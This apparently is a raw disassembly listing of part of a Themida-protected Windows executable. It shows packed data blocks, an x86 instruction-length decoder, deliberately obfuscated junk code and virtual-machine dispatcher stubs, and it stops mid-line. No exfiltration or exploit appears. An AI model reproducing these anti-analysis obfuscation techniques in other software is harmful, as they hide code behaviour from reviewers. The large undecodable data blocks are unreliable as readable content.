0B89682F6h, 6198B8Ch, 0E0FFC503h, 7D12F80Dh, 4CF81353h dd 5F04F3A1h, 10AB7509h, 7DED3084h, 5E8h, 0B8F80600h, 666073D3h dd 5032D281h, 6890Fh, 820F0000h, 0 dd 0BA665E61h, 0C681F75Fh, 5BA8h, 0B068F88Bh, 0F000016h dd 58Ch, 8B665300h, 66595AC2h, 0FF8159BFh, 8DEA8036h, 9E85Bh dd 0ED5B0000h, 4D3EB516h, 66D68D7Eh, 0E7DAD781h, 1CC3815Fh dd 0F6E1AE3h, 688h, 2AD78100h, 813D59A1h, 408C81EBh, 8120B209h dd 8BD4C8F3h, 8166602Bh, 0F118DC2h, 1086h, 0AE800h, 0A09E0000h dd 9374723Eh, 900F3417h, 0F53615Bh, 68FC2B7h, 135F0EB8h dd 39EE8119h, 667EB54Ah, 73D0D081h, 4A35C681h, 0BF0F7EB5h dd 850F49C3h, 19h, 7BDA8166h, 2BE913h, 7E80000h, 239F5C98h dd 36755144h, 8B19C8F8h, 68F0F56h, 81000000h, 815A72CAh dd 0FF59E902h, 0CE96FFFFh, 2812E7E1h, 3F536395h, 1C8E937h dd 88880000h, 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 0CC20000h, 758E2900h, 10000h, 11h dup(0) dd 53E90000h db 3, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5A1ABB proc near ; DATA XREF: Themida_:005497E0o push ebp call $+5 pop ebp sub ebp, 6198EE2h pusha mov dword ptr [ebp+6198E2Fh], 0 cmp word ptr [esi], 0A166h jnz loc_5A1AED mov dword ptr [ebp+6198E33h], 6 jmp loc_5A1B11 ; --------------------------------------------------------------------------- loc_5A1AED: ; CODE XREF: sub_5A1ABB+1Dj lea eax, [ebp+6198E37h] push eax lea eax, [ebp+6198E87h] push eax push esi push 0 call sub_5A1B20 add esp, 10h and eax, 0FFh mov [ebp+6198E33h], eax loc_5A1B11: ; CODE XREF: sub_5A1ABB+2Dj popa add esi, [ebp+6198E33h] mov eax, [ebp+6198E2Fh] pop ebp retn sub_5A1ABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A1B20 proc near ; CODE XREF: sub_5A1ABB+43p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_6198E27 = dword ptr 6198E2Fh push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5A1B4D mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5A1B59 ; --------------------------------------------------------------------------- loc_5A1B4D: ; CODE XREF: sub_5A1B20+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5A1B59: ; CODE XREF: sub_5A1B20+28j push ebx push esi push edi loc_5A1B5C: ; CODE XREF: sub_5A1B20+91j ; sub_5A1B20+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A1B6F: ; CODE XREF: sub_5A1B20+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6198F99h lea ebp, [ebp+6198E0Fh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A1B9C inc cl cmp cl, 0Bh jb loc_5A1B6F loc_5A1B9C: ; CODE XREF: sub_5A1B20+6Bj cmp cl, 0Bh jz loc_5A1BF9 cmp al, 66h jnz loc_5A1BDA cmp [ebp+var_5], 0 jnz loc_5A1B5C cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5A1BD2 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5A1B5C ; --------------------------------------------------------------------------- loc_5A1BD2: ; CODE XREF: sub_5A1B20+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5A1BDA: ; CODE XREF: sub_5A1B20+87j cmp al, 67h jnz loc_5A1B5C cmp [ebp+var_6], 0 jnz loc_5A1B5C xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5A1B5C ; --------------------------------------------------------------------------- loc_5A1BF9: ; CODE XREF: sub_5A1B20+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A1C25 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A1C2A ; --------------------------------------------------------------------------- loc_5A1C25: ; CODE XREF: sub_5A1B20+E4j movzx edi, al shr edi, 1 loc_5A1C2A: ; CODE XREF: sub_5A1B20+100j push ebp call $+5 pop ebp sub ebp, 6199051h lea ebp, [ebp+6198D0Fh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5A1DAC mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5A1CF0 dec ecx jz loc_5A1CD3 dec ecx jnz loc_5A1D43 cmp [ebp+var_2], 0 jnz loc_5A1D3F cmp [ebp+var_5], 0 jz loc_5A1CB2 mov byte ptr [ebp+arg_0+3], 2 loc_5A1CB2: ; CODE XREF: sub_5A1B20+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 61990DDh mov [ebp+arg_6198E27], 1 pop ebp jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_5A1CD3: ; CODE XREF: sub_5A1B20+16Dj cmp [ebp+var_2], 0 jnz loc_5A1D1D cmp [ebp+var_5], 0 jz loc_5A1D1D mov byte ptr [ebp+arg_0+3], 2 jmp loc_5A1D1D ; --------------------------------------------------------------------------- loc_5A1CF0: ; CODE XREF: sub_5A1B20+166j cmp [ebp+var_2], 0 jnz loc_5A1D36 cmp [ebp+var_5], 0 jz loc_5A1D25 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A1D1D mov byte ptr [ebp+arg_0+3], cl loc_5A1D1D: ; CODE XREF: sub_5A1B20+1B7j ; sub_5A1B20+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_5A1D25: ; CODE XREF: sub_5A1B20+1DEj cmp dl, 5 jnz loc_5A1D43 mov byte ptr [ebp+arg_0+3], dl jmp loc_5A1D43 ; --------------------------------------------------------------------------- loc_5A1D36: ; CODE XREF: sub_5A1B20+1D4j cmp dl, 6 jnz loc_5A1D43 loc_5A1D3F: ; CODE XREF: sub_5A1B20+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5A1D43: ; CODE XREF: sub_5A1B20+174j ; sub_5A1B20+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5A1D71 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5A1D53: ; CODE XREF: sub_5A1B20+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A1D53 mov esi, edx loc_5A1D71: ; CODE XREF: sub_5A1B20+226j and al, 0FEh cmp al, 0F6h jnz loc_5A1DA6 cmp edi, 7Fh ja loc_5A1DA6 test bl, 38h jnz loc_5A1DA6 cmp [ebp+var_7], 0 jz loc_5A1DA0 movzx eax, [ebp+var_4] jmp loc_5A1DA3 ; --------------------------------------------------------------------------- loc_5A1DA0: ; CODE XREF: sub_5A1B20+271j push 1 pop eax loc_5A1DA3: ; CODE XREF: sub_5A1B20+27Bj mov [ebp+var_1], al loc_5A1DA6: ; CODE XREF: sub_5A1B20+255j ; sub_5A1B20+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5A1DAC: ; CODE XREF: sub_5A1B20+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5A1DD7 dec eax dec eax jz loc_5A1DCD and bl, 7 add [ebp+var_1], bl jmp loc_5A1DDF ; --------------------------------------------------------------------------- loc_5A1DCD: ; CODE XREF: sub_5A1B20+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5A1DDC ; --------------------------------------------------------------------------- loc_5A1DD7: ; CODE XREF: sub_5A1B20+294j mov al, [ebp+var_3] add al, 4 loc_5A1DDC: ; CODE XREF: sub_5A1B20+2B2j add [ebp+var_1], al loc_5A1DDF: ; CODE XREF: sub_5A1B20+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5A1E07 movzx ecx, [ebp+var_1] inc ecx loc_5A1DF2: ; CODE XREF: sub_5A1B20+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A1DF2 loc_5A1E07: ; CODE XREF: sub_5A1B20+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5A1B20 endp ; --------------------------------------------------------------------------- lea eax, [ebp+6198EDCh] mov [ebp+6140C01h], eax call sub_5A1E31 ; --------------------------------------------------------------------------- aam 0F3h sbb [esi-21h], al retn 480Ch ; --------------------------------------------------------------------------- retf 0B9ECh ; --------------------------------------------------------------------------- dw 2865h dd 0AB744A3Eh ; --------------------------------------------------------------------------- pop esp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5A1E31 proc near ; CODE XREF: Themida_:005A1E1Ap call sub_5A1E46 jmp near ptr 8F4DA090h sub_5A1E31 endp ; --------------------------------------------------------------------------- db 7Ch dd 0BF646DC8h, 647E926Ch ; --------------------------------------------------------------------------- setalc xchg eax, esp ; =============== S U B R O U T I N E ======================================= sub_5A1E46 proc near ; CODE XREF: sub_5A1E31p or ah, 7 pop ecx pop ebx xor eax, 64B4568Fh add ebx, 5CB1h sub esi, 4C950025h mov edi, 43881126h sub edi, 4387FA28h jmp loc_5A1E80 ; --------------------------------------------------------------------------- db 86h, 3Ch, 0B9h dd 98652915h, 0FD50DA2Ah, 39316CB4h, 29018187h ; --------------------------------------------------------------------------- loc_5A1E80: ; CODE XREF: sub_5A1E46+22j ; sub_5A1E95:loc_5A1ED3j mov edx, [ebx] add edx, 7D5EE9B9h push edi call sub_5A1E95 insd xchg ah, [ecx] jz short loc_5A1EEB test al, 8Dh sub_5A1E46 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A1E95 proc near ; CODE XREF: sub_5A1E46+43p arg_20 = dword ptr 24h arg_24 = dword ptr 28h stc loc_5A1E96: ; CODE XREF: sub_5A1E95+6Cj pop eax pop ecx add edx, 2500F034h mov si, 5FA4h add edx, 14C4ECB9h movsx eax, bx push edx pusha adc ah, 0D1h mov bx, 4442h popa pop dword ptr [ebx] and ax, 5886h sub ebx, 718895B8h add ebx, 718895B4h jmp loc_5A1ED2 ; --------------------------------------------------------------------------- db 3Ch, 0F3h, 80h ; --------------------------------------------------------------------------- mov ss, bx loc_5A1ED2: ; CODE XREF: sub_5A1E95+33j dec edi loc_5A1ED3: ; DATA XREF: Themida_:0054B9ECo jnz loc_5A1E80 mov cx, dx jmp loc_5A1F34 ; --------------------------------------------------------------------------- db 0CDh, 0Ch, 89h dd 15h db 0, 57h, 1Ch ; --------------------------------------------------------------------------- loc_5A1EEB: ; CODE XREF: sub_5A1E46+4Bj lds ecx, [edx+43h] dec eax popa db 36h stc lodsd movsd cmpsd mov [edx+edx*2+0B7FB75h], cl mov esi, 0E5ADF99Ch jle short loc_5A1E96 mov [ebp+1DF4C700h], ebx xchg eax, edx arpl [eax+19h], sp fiadd word ptr [eax] ; --------------------------------------------------------------------------- db 0 dd 9 dup(0) ; --------------------------------------------------------------------------- loc_5A1F34: ; CODE XREF: sub_5A1E95+47j jmp loc_5A2AAB ; --------------------------------------------------------------------------- push 619945Fh jmp loc_5509FF ; --------------------------------------------------------------------------- push 61995A9h jmp loc_5509FF ; --------------------------------------------------------------------------- push 61996CFh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619977Ch jmp loc_5509FF ; --------------------------------------------------------------------------- push 6199841h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6199968h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6199A47h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6199C41h jmp loc_5509FF ; --------------------------------------------------------------------------- push 6199D37h jmp loc_5509FF ; --------------------------------------------------------------------------- db 0C6h dd 7A57A916h, 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h dd 0DDE0F7B9h, 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h dd 580B7B32h, 13E44B46h, 0ABB1F9A5h, 57EB9A92h, 0BF8CD4FCh dd 149E517h, 1B58FB28h, 82543183h, 13818D39h, 6535FAACh dd 4AA24E6Dh, 5D3A7F3h, 0B58B2CAEh, 12AA8A76h, 343A02CAh dd 580B4D4Eh, 0C70B3A62h, 5E04FFCBh, 0BE8BD3FBh, 7951A318h dd 7A9DA9A2h, 0BEED59CDh, 509823B3h, 109C8288h, 88B05E24h dd 75E3EF59h, 0ECB981C9h, 5DA1D0E9h, 641739FEh, 7CEECCF4h dd 4D327853h, 9965563h, 6B710000h, 0AE250254h, 0F2E0BD0Fh dd 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h dd 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580B7Bh, 40178FF6h dd 0F4224F41h, 0DAE51402h, 0AA77BFFCh, 0BFFED92Bh, 0F423BB13h dd 62597D8Ah, 1AC63410h, 34D005D2h, 19711D9Eh, 844C5281h dd 0F0E820B7h, 748B37CFh, 8314ECD3h, 5C8B2328h, 0E6008518h dd 1FCBF357h, 6DFF7D9h, 64557C58h, 9528ABB8h, 0F5DBE1E9h dd 95806DFh, 0C9896DE1h, 7E4B21E8h, 61B9655Ah, 29A2E032h dd 0F8D8F63Ch, 42C2h, 0A513D900h, 0E8ABB1F9h, 0B657E502h dd 0BA9CE28Eh, 3F580602h, 8D737994h, 0A1580602h, 2835E179h dd 54C04FAFh, 5BD64DA1h, 20C217C3h, 0DD94C062h, 0C91AD76Dh dd 0A486A31h, 0D8FBD491h, 0D12AF8h, 12410000h, 3E4BF7C4h dd 6B782499h, 97A4506Bh, 142A7C3Fh, 51F1EC25h, 479922B4h dd 3E9A6C6Ah, 313DE981h, 0CDD31BC3h, 57E50592h, 0EAC61840h dd 0BF8CD47Ch, 7076A518h, 0FADD3E6Ah, 5EA6CE5Dh, 0E2C8CE96h dd 0F65E1CBDh, 43949FCEh, 0E3F410C5h, 3ED62EDAh, 607754A6h dd 94404F9Eh, 0E27AE66Ah, 94817004h, 75836D38h, 84Ch, 4C9E21BBh dd 759646Fh, 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h dd 2EA380D2h, 7C5C398Bh, 0C214F143h, 139BA7F9h, 0B7D270Dh dd 0D9403B58h, 42C24017h, 0E82CD8A3h, 8A9B5F91h, 0D40310A7h dd 0D9FA0EC9h, 48E038E4h, 87511EF6h, 0D8FE0938h, 0E859A52Eh dd 7A5CC9B5h, 60B864FCh, 622C1218h, 184051F2h, 13752E80h dd 0ABB1F9A5h, 57E502E8h, 9CE28EB6h, 580602BAh, 7723963Fh dd 0A24E6B6Ah, 0C72A688Ch, 8DBCDE00h, 79A811C0h, 0D9D6580Dh dd 3E2F06F8h, 0D692A7E2h, 0D59D0332h, 95000000h, 7FAE0FC8h dd 494F1798h, 51F1E863h, 15204F77h, 0DBB2FAC1h, 0F6ACCCCDh dd 7DE7161Bh, 0AA566770h, 0EED4DAA2h, 251F2CCh, 7867ABDAh dd 0C51F2D1h, 0D926993Fh, 8792C1F8h, 3D1A6C4Fh, 6A762299h dd 60C54FCh, 57E5EACBh, 23FF5179h, 0BBC109B5h, 5DFBBEA0h dd 0D8BEC48Ch, 0EC5E1D9Eh, 0E91195C4h, 503D4A1h, 0E53DE9D0h dd 5623FB4Dh, 40F3E7Bh, 4E343AD3h, 625E1D9Fh, 0BAC4A23Ah dd 373892CEh, 7263F4Dh, 0FBE10000h, 3E9572C4h, 82502D7Fh dd 0CB0AE739h, 18BF9CEEh, 9E1A53A5h, 0A6F8C512h, 5FB108C9h dd 17695682h, 0CD1F9C3Ah, 4D3339C1h, 61580B7Eh, 0C512FF66h dd 0F7CEA6F8h, 878CC79h, 6E79A806h, 83389E68h, 9287FD7h dd 0F6E6EA4Eh, 0DF98EA82h, 4BF7C412h, 0D123983Eh, 0F1E7D9BBh dd 428C6351h, 413AA335h, 23919BCAh, 9E6B337Bh, 84DC8835h dd 3A021155h, 715857ECh, 43DEEA03h, 0FF47DFDFh, 0CF17A432h dd 0FDA8E4F8h, 84B350EDh, 7C3F9774h, 0DAFBC8D0h, 0ACDB33DFh dd 448C34A2h, 0FF620F3Eh, 9F7DA55Dh, 38902AE9h, 7924321Ch dd 8E000006h, 421F714Eh, 0FDDA2C91h, 0B794E6D5h, 6C499B1Eh dd 0C700526Bh, 0A518BFF1h, 5E5B7653h, 16A92F0Ch, 0CCEFE7C4h dd 0E0E66E7Ah, 580B7EFAh, 12AC130Eh, 3E4BF7C4h, 0A24A6498h dd 1005901Bh, 0F65ACC78h, 8536A054h, 9A62703Dh, 0F72A7B1h dd 57039BFDh, 4838BF40h, 9D354C9Dh, 3694F55h, 557D51F2h dd 8DD81626h, 71FEEDD6h, 7, 1AF1188h, 0D9680000h, 51F1E7F7h dd 0A6A00F7Dh, 0D8BB7F72h, 61297109h, 0F280755Bh, 0ABB18951h dd 51F27FC5h, 0EA19B1D9h, 32EADEE4h, 3D1A57ECh, 438B239Ah dd 95B6076h, 6511AA2Ch, 0FB43EB59h, 0FF5EC6F5h, 0C80DDA5Dh dd 163EC2F1h, 902F5A38h, 0C7D5BF38h, 5B4h, 0E4368953h dd 9FF1CC07h, 59AB10C2h, 0E60597Ch, 0C517A631h, 53842C8Ch dd 963B186Ah, 0E4F4D123h, 2AAC89DBh, 0AB333F91h, 0B7FBFA5h dd 71D8D358h, 4BF7C412h, 0DB23983Eh, 0C8F7C40Eh, 0CA88EC5Eh dd 0C517A432h, 0EDF1DE87h, 0B2B880FEh, 51F1F3CCh, 913D7C59h dd 928C7339h, 6E48735Eh, 2B91C058h, 7, 0F31142h, 13680000h dd 0E9B1F9A5h, 5602BB1Ch, 728BCFFEh, 5A57EB9Ah, 7AA68C92h dd 5429580Bh, 0B39DB596h, 0F6254D13h, 3A024A72h, 0B574E34h dd 8E7B6258h, 6EEC6F2Eh, 0CED41CB4h, 580B74E8h, 9FA5D4FCh dd 0F4C90AD7h, 0B6C1F048h, 9412DC20h, 3FF8A1D3h, 41925FA7h dd 4978D07Ch, 917A5C39h, 0B6FA58Bh, 4B313758h, 5F580B70h dd 1497137h, 0B7015FBh, 69012958h, 0EEE8B5BDh, 26949ECDh dd 302C327Ah, 605E0523h, 29C8288h, 88B05E25h, 75219C3Bh dd 703D851Dh, 400D5566h, 0F6DB2891h, 0A78494C3h, 0D4E08C2Fh dd 0A572BA66h, 545A8930h, 182BEF4Eh, 0DFBDE564h, 327761BDh dd 8D788670h, 7A000004h, 2E0B5D62h, 0E9C618A5h, 0A380D2E9h dd 58358732h, 0B3EC3E7Fh, 912CAB05h, 4A6F623Fh, 2BD1BF8h dd 0B803D3B0h, 0CCD25A66h, 580B80E6h, 1198FFFAh, 141h dd 0F9A51368h, 9512E9B1h, 17356DDh, 8734A2EFh, 79FB1458h dd 3D6557ECh, 41272DF5h, 55580C5Ah, 2BF8FE2Dh, 0E1BE10ABh dd 2A1016F5h, 3E580C5Ah, 0CAD27E16h, 0B8E7D6FDh, 489040AEh dd 9823B380h, 216594ECh, 5E060D25h, 1F050BD3h, 0AC5E25EDh dd 90E89425h, 0EF73A2CAh, 0B1B77FC7h, 5E25ECCBh, 8288B7DFh dd 529A21B5h, 0EC9E848Ah, 0CBB25E25h, 9F6ED78Fh, 3C6B03BFh dd 84874F2Ch, 262E987Eh, 0A3C5AC5Eh, 11573E4Bh, 0FBB53EBh dd 209D3A07h, 0E3ED1C74h, 7B81C975h, 641A011Ch, 9A0CEA12h dd 0A732758Ch, 3AEAFBDh, 83590000h, 0C60DEA3Ch, 0AC8A5F7h dd 53825FB1h, 0A0371466h, 2692CB1Dh, 1E704D8Ah, 0D7299041h dd 8FE1DEFAh, 459724B2h, 0C5ABB139h, 0D9580B81h, 0C41277DEh dd 983E4BF7h, 0C90EDB23h, 9129943Fh, 0F45E8DE5h, 0C87C1E82h dd 0E1DAF80Eh, 0ACB9F749h, 52FEEDF1h, 41h, 0F9A51369h dd 5440ABB1h, 0F5CC57E5h, 73707B71h, 66537EC8h, 0FDFF77CEh dd 554E5DF6h, 327AA226h, 64E6D65h, 76229939h, 0C9DFEF1Eh dd 580690E6h, 52696Dh, 7A57AF23h, 0EDFBA73Fh, 318h, 874A1744h dd 0C9F0E532h, 76498F9Ah, 0E1F5C2CAh, 0A7D62EDAh, 2F813A9Ch dd 8B378452h, 1163587Eh, 0CF17C735h, 0E53936C9h, 0D07CA457h dd 618A88Ah, 0F191B358h, 5A657340h, 0CD963C03h, 93C24E5Eh dd 0D9CD3E27h, 72C0F8h, 17D70000h, 85318E4Ah, 86F4FE2Dh dd 5359B025h, 51F1E86Dh, 29C15981h, 0FBC414E1h, 0C2C8F74Fh dd 0E502F9BCh, 0F39FC757h, 6E9714EBh, 3342B358h, 84DEC004h dd 74635806h, 43909D49h, 0C0C6CE7Ah, 580684DAh, 0B014C6EEh dd 72480F92h, 0E6B7079Bh, 6998E2F8h, 5607B17h, 59F8D970h dd 95857E82h, 0CD287F3Eh, 50B6E5E0h, 0F7h, 63567B48h, 49305FB7h dd 7D874A17h, 20CC645Bh, 488E99C8h, 1DBAC773h, 4A8B58A0h dd 0C9D6406Fh, 8F66AE0Dh dd 4D52C693h, 44AEDD13h, 0CA1C9F37h, 0F2DCC5B4h, 39825451h dd 37380FE7h, 0BA7BB010h, 65717CABh, 0E2370E56h, 6DBF8380h dd 8933194Eh, 329AF632h, 1F8D9903h, 925F276Fh, 74B7A3Fh dd 57E59264h, 0A078CAF2h, 71ECD2D8h, 28005806h, 6723C22h dd 90285058h, 45E95761h, 4A74F7FDh, 9AC25DFBh, 0EBC28A52h dd 7ACBDBEAh, 6E54DAF1h, 825E1DD9h, 0B7202B5Ah, 0D7B406h dd 6C1297FEh, 0F68EF1EEh, 92D69818h, 0C5D3BD38h, 1B4h dd 0E4368953h, 9FF1CC07h, 59AB10C2h, 0E60597Ch, 0C517A631h dd 53842C8Ch, 963B186Ah, 0E4F4D123h, 2AAC89DBh, 0AB333F91h dd 0B83BFA5h, 71D8D358h, 728E4A17h, 9289DD58h, 0EA962E20h dd 7F586392h, 0C70FEC3Eh, 13E9A2F4h, 0ABB1F9A5h, 57E502E8h dd 9CE28EB6h, 580602BAh, 5168923Fh, 0B1D932B8h, 0F805B149h dd 0BC32DEDFh, 0F0B73A58h, 338A4D1Ah, 0AE002F87h, 0A36EF7ECh dd 28F0F8D9h, 6423C22h, 0F9285058h, 0AD93h, 0C412AA00h dd 993E4BF7h, 43327824h, 0D251F1ECh, 8D65B704h, 4FA617C0h dd 3A0A3E5Bh, 5C679654h, 8995417Ah, 252B731Bh, 57E5C482h dd 0BA96E810h, 8F5CA44Ch, 0D8BEC447h, 0EC5806A3h, 28802CC4h dd 0C9EDF3F9h, 595DFB77h, 7312E931h, 0E345B00Fh, 0DBA8AEDDh dd 926FC1FCh, 0AA15C345h, 0DAE1F1FEh, 0EECCAA42h, 7B389308h dd 0BE8391h, 93490000h, 0D6FDDA2Ch, 1AB895E7h, 63724FA1h dd 0B0270456h, 3682BB0Dh, 0E605D7Ah, 0C719A031h, 7FD1EEEAh dd 358734A2h, 0B59BA129h, 0C9580B84h, 0C51267CEh, 1CEA6F8h dd 0E63EEAD1h, 912AACB7h, 0C412863Fh, 0F1E2AFF7h, 26339DCCh dd 0DDB90BB0h, 7177BF6Fh, 57EB9A8Dh, 38854E1Bh, 0B15D8509h dd 8467D2A9h, 8733884Eh, 0A8D82Fh, 0C80E1948h, 12C4A1F3h dd 15B7FDA9h, 0B14B7A7Ch, 34FC0D4Dh, 9C5C482Eh, 0DD345C6Bh dd 0D9CC5AF5h, 3F4A795Ah, 886E7497h, 9C6B9C72h, 0AD8ADC74h dd 0D9E69229h, 0BC11BDFCh, 12C4781Ah, 0B27F57A9h, 616C9B20h dd 8C9A4675h, 8, 0DDE0F7C4h, 7DE4C7AEh, 49F5CA12h, 75219A3Ch dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh dd 8733884Ah, 0B864597Ah, 0E6895633h, 4C681h, 0B8500000h dd 4, 8758C629h, 525C2434h, 0C281E289h, 4, 8704EA83h, 895C2414h ; --------------------------------------------------------------------------- or al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+0], edi push 5864h mov [esp+0], ebx mov ebx, 74910FAFh mov ecx, 72889C1Bh xor ecx, ebx pop ebx sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop edi push ebx mov ebx, 8 add ebx, 52C94D69h add ebx, edi sub ebx, 52C94D69h mov [ebx], ecx pop ebx mov edi, [esp+0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp mov ecx, [esp+0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- dd 744CDDDFh, 0C42A9AC5h db 68h, 5Eh, 0B6h ; --------------------------------------------------------------------------- loc_5A2AAB: ; CODE XREF: sub_5A1E95:loc_5A1F34j mov eax, 6199E1Ah add eax, ebp jmp eax sub_5A1E95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 3E9ABC72h, 0D6DCC83h, 161830D2h, 7EA70D62h, 1C7A3926h dd 1A11DD36h, 5413302Bh, 85AEA30h, 3FA360A9h, 0F580F9Bh dd 30B17359h, 359AE94Dh, 6C8BDFDFh, 5DC7B5C3h, 0A0068D8Dh dd 6A0619h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 525841C3h, 2205B529h, 60580614h, 1AD5B58Bh dd 9D8B0614h, 61421BDh, 298D8961h, 6A061432h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B03C357h, 85B58BC1h, 0C7061425h, 14064D85h, 5C4C06h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0D6AA2F1Ah, 0C83EB682h, 267185C7h, 614h dd 1F90000h, 142E0D9Dh, 91B5FF06h, 6A061405h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 7411C357h, 95FFF5C8h, 6142361h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0BDC35747h, 0F9231298h, 1921858Bh dd 6A0614h, 116995FFh, 0C08B0614h, 0DF9A7FEBh, 610CB1B6h dd 50B2652Bh, 0C7B8FC45h, 4E9D307Fh, 0C05924EFh, 8C06DCDFh dd 1C09A99Eh, 11E6A0B6h, 8575461Eh, 0A8383968h, 687135EDh dd 58CD9165h, 36B3F9EBh, 359C9D1Eh, 5382F52Ah, 967DDCCCh dd 82C94D4Bh, 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h dd 2BA5FB6Ah, 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h dd 0DD07536Bh, 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h dd 0EE9CAh, 0EE9E0000h, 339C4EC4h, 77E7h, 0 ; --------------------------------------------------------------------------- jmp loc_5A39F3 ; --------------------------------------------------------------------------- push 619A22Ch jmp loc_5509FF ; --------------------------------------------------------------------------- push 619A30Ah jmp loc_5509FF ; --------------------------------------------------------------------------- push 619A46Bh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619A5D1h jmp loc_5509FF ; --------------------------------------------------------------------------- push 619A7A3h jmp loc_5509FF ; --------------------------------------------------------------------------- push 619A9BAh jmp loc_5509FF ; --------------------------------------------------------------------------- push 619AB59h jmp loc_5509FF ; --------------------------------------------------------------------------- push 619AC8Ah jmp loc_5509FF ; --------------------------------------------------------------------------- db 4, 0D8h, 0E7h dd 